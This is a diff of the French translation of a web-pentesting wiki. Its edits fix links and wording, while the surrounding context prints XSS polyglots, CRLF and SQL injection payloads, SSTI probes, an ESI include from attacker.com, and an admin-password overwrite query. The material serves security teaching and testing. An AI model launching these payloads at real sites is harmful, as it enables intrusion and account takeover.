+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
@@ -88,13 +88,13 @@ $(ls)
 %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
 %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 ```
-## Marquage Suspendu
+## Dangling Markup
 
-### Tests de Base
+### Tests de base
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [Inclusion de fichiers/Traversée de chemin](../file-inclusion/)
+## [File Inclusion/Path Traversal](../file-inclusion/index.html)
 
 ### Tests de base
 ```bash
@@ -109,9 +109,9 @@ C:/windows/system32/drivers/etc/hosts
 http://asdasdasdasd.burpcollab.com/mal.php
 \\asdasdasdasd.burpcollab.com/mal.php
 ```
-## [Redirection Ouverte](../open-redirect.md) / [Usurpation de Requête Côté Serveur](../ssrf-server-side-request-forgery/)
+## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
-### Tests de Base
+### Tests de base
 ```bash
 www.whitelisted.com
 www.whitelisted.com.evil.com
@@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
 ```markup
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 Les mêmes tests utilisés pour Open Redirect peuvent être utilisés ici.
 
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 
 ### Tests de base
 ```markup
@@ -159,7 +159,7 @@ ${{7*7}}
 ```python
 {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 ```
-## [Injection côté serveur XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+## [Injection de serveur XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 
 ### Tests de base
 ```markup
@@ -183,7 +183,7 @@ javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

src/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md

@@ -36,7 +36,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
 
 ### Contournement de e.source
 
-Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les **scripts de contenu des extensions de navigateur** pour vérifier si le message a été envoyé depuis la même page) :
+Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les **Content Scripts des extensions de navigateur** pour vérifier si le message a été envoyé depuis la même page) :
 ```javascript
 // If it’s not, return immediately.
 if (received_message.source !== window) {
@@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
 
 ### Contournement de l'en-tête X-Frame
 
-Pour effectuer ces attaques, idéalement, vous devrez **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
+Pour effectuer ces attaques, idéalement, vous pourrez **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
 Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :
 ```markup
 <script>
@@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
 ```
 ### Vol de message envoyé à l'enfant en bloquant la page principale
 
-Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
+Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la page **principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
 
 {{#ref}}
 blocking-main-page-to-steal-postmessage.md
@@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
 ```
 Pour **plus d'informations** :
 
-- Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/)
-- Lien vers la page sur [**XSS**](../xss-cross-site-scripting/)
+- Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/index.html)
+- Lien vers la page sur [**XSS**](../xss-cross-site-scripting/index.html)
 - Lien vers la page sur [**la pollution de prototype côté client à XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 
 ## Références

src/pentesting-web/sql-injection/README.md

@@ -4,7 +4,7 @@
 
 ## Qu'est-ce que l'injection SQL ?
 
-Une **injection SQL** est une faille de sécurité qui permet aux attaquants d'**interférer avec les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **voir**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée à laquelle l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service.
+Une **injection SQL** est une faille de sécurité qui permet aux attaquants de **perturber les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **voir**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée à laquelle l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service.
 
 ## Détection des points d'entrée
 
@@ -23,7 +23,7 @@ Lorsqu'un site semble être **vulnérable à l'injection SQL (SQLi)** en raison
 ```
 Ensuite, vous devez savoir comment **corriger la requête afin qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données afin que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
 
-_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque la requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._
+_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque qu'une requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._
 
 ### **Commentaires**
 ```sql
@@ -51,7 +51,7 @@ SQLite
 HQL
 HQL does not support comments
 ```
-### Confirmation avec des opérations logiques
+### Confirmation par opérations logiques
 
 Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL.
 
@@ -70,7 +70,7 @@ Cette liste de mots a été créée pour essayer de **confirmer les SQLinjection
 
 ### Confirmation par Timing
 
-Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir des SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\
+Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\
 Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à compléter :
 ```
 MySQL (string concat and logical ops)
@@ -141,7 +141,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
 ### Détection du nombre de colonnes
 
 Si vous pouvez voir la sortie de la requête, c'est le meilleur moyen de l'exploiter.\
-Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
+Tout d'abord, nous devons déterminer le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
 Deux méthodes sont généralement utilisées à cet effet :
 
 #### Order/Group by
@@ -189,11 +189,11 @@ _Il existe une méthode différente pour découvrir ces données sur chaque base
 
 ## Exploiting Hidden Union Based
 
-Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inatteignable, cela signifie qu'il y a une **injection basée sur un union caché**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend.
+Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inaccessibile, cela signifie la présence d'une **injection basée sur un union caché**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend.
 
-Cela peut être accompli en utilisant des techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.
+Cela peut être accompli grâce à l'utilisation de techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.
 
-Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Ensuite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible.
+Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Par la suite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible.
 
 Pour des informations plus complètes, consultez l'article complet disponible à [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 
@@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```
 ## Exploitation Automatisée
 
-Vérifiez le [SQLMap Cheatsheet](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
+Vérifiez la [SQLMap Cheatsheet](sqlmap/index.html) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 
 ## Informations techniques spécifiques
 
@@ -249,9 +249,9 @@ Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
-- [MySQL](mysql-injection/)
+- [MySQL](mysql-injection/index.html)
 - [Oracle](oracle-injection.md)
-- [PostgreSQL](postgresql-injection/)
+- [PostgreSQL](postgresql-injection/index.html)
 
 Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
@@ -334,9 +334,9 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 
 La clause `ON DUPLICATE KEY UPDATE` dans MySQL est utilisée pour spécifier les actions que la base de données doit entreprendre lorsqu'une tentative d'insertion d'une ligne entraînerait une valeur dupliquée dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :
 
-Exemple de charge utile d'injection :
+Exemple de Payload d'Injection :
 
-Une charge utile d'injection pourrait être conçue comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième ligne cible l'email d'un administrateur existant dans l'intention de mettre à jour le mot de passe :
+Un payload d'injection pourrait être conçu comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième ligne cible l'email d'un administrateur existant dans l'intention de mettre à jour le mot de passe :
 ```sql
 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
@@ -420,7 +420,7 @@ SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
 ```
 ### Bypasses génériques
 
-Blacklist utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
+Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
 ```sql
 ?id=1 AND 1=1#
 ?id=1 AnD 1=1#
@@ -434,7 +434,7 @@ OR    -> || -> %7C%7C
 > X   -> not between 0 and X
 WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
 ```
-### Contournement WAF par Notation Scientifique
+### Contournement WAF par notation scientifique
 
 Vous pouvez trouver une explication plus approfondie de cette astuce dans le [blog gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 Fondamentalement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -10,7 +10,7 @@ Dans chaque Pentest Web, il y a **plusieurs endroits cachés et évidents qui po
 > De nos jours, les **applications** **web** utilisent généralement une sorte de **proxies** **intermédiaires**, qui peuvent être (mal) utilisés pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles ont généralement aussi besoin d'une vulnérabilité supplémentaire dans le backend.
 
 - [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
-- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
+- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 - [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
@@ -31,18 +31,18 @@ Si les données introduites peuvent d'une manière ou d'une autre être réfléc
 - [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
+- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**Open Redirect**](open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
 Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent simplement que le contenu soit réfléchi. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans :
 
@@ -52,13 +52,13 @@ pocs-and-polygloths-cheatsheet/
 
 ### **Fonctionnalités de recherche**
 
-Si la fonctionnalité peut être utilisée pour rechercher un certain type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
+Si la fonctionnalité peut être utilisée pour rechercher un type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
 
-- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](nosql-injection.md)
 - [ ] [**LDAP Injection**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](sql-injection/)
+- [ ] [**SQL Injection**](sql-injection/index.html)
 - [ ] [**XPATH Injection**](xpath-injection.md)
 
 ### **Formulaires, WebSockets et PostMsgs**
@@ -67,25 +67,25 @@ Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateur
 
 - [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 
 ### **En-têtes HTTP**
 
 En fonction des en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 
 ### **Bypasses**
 
-Il existe plusieurs fonctionnalités spécifiques où certaines solutions de contournement peuvent être utiles pour les contourner.
+Il existe plusieurs fonctionnalités spécifiques où des solutions de contournement peuvent être utiles pour les contourner.
 
 - [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](captcha-bypass.md)
-- [ ] [**Login Bypass**](login-bypass/)
+- [ ] [**Login Bypass**](login-bypass/index.html)
 - [ ] [**Race Condition**](race-condition.md)
 - [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
@@ -94,9 +94,9 @@ Il existe plusieurs fonctionnalités spécifiques où certaines solutions de con
 ### **Objets structurés / Fonctionnalités spécifiques**
 
 Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
-Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'e-mail).
+Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'email).
 
-- [ ] [**Deserialization**](deserialization/)
+- [ ] [**Deserialization**](deserialization/index.html)
 - [ ] [**Email Header Injection**](email-injections.md)
 - [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ Les fonctionnalités qui permettent de télécharger des fichiers peuvent être
 Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur peuvent exécuter un code inattendu.\
 Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateurs ou générés automatiquement incluant des entrées utilisateur peuvent être compromis.
 
-- [ ] [**File Upload**](file-upload/)
+- [ ] [**File Upload**](file-upload/index.html)
 - [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateu
 ### **Gestion d'identité externe**
 
 - [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](saml-attacks/)
+- [ ] [**SAML Attacks**](saml-attacks/index.html)
 
 ### **Autres vulnérabilités utiles**
 
@@ -124,6 +124,6 @@ Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
 - [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
 - [ ] [**Parameter Pollution**](parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -11,7 +11,7 @@ Dans chaque Pentest Web, il y a **plusieurs endroits cachés et évidents qui po
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -31,16 +31,16 @@ Si les données introduites peuvent d'une manière ou d'une autre être réfléc
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**Open Redirect**](../open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
@@ -52,13 +52,13 @@ Certaines des vulnérabilités mentionnées nécessitent des conditions spécial
 
 ### **Fonctionnalités de recherche**
 
-Si la fonctionnalité peut être utilisée pour rechercher un type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
+Si la fonctionnalité peut être utilisée pour rechercher un certain type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires.
 
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
 - [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**SQL Injection**](../sql-injection/index.html)
 - [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Formulaires, WebSockets et PostMsgs**
@@ -67,25 +67,25 @@ Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateur
 
 - [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 
 ### **En-têtes HTTP**
 
-En fonction des en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes.
+En fonction des en-têtes HTTP fournis par le serveur web, certaines vulnérabilités pourraient être présentes.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
 
-Il existe plusieurs fonctionnalités spécifiques où des solutions de contournement peuvent être utiles pour les contourner.
+Il existe plusieurs fonctionnalités spécifiques où certaines solutions de contournement pourraient être utiles pour les contourner.
 
 - [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](../captcha-bypass.md)
-- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Login Bypass**](../login-bypass/index.html)
 - [ ] [**Race Condition**](../race-condition.md)
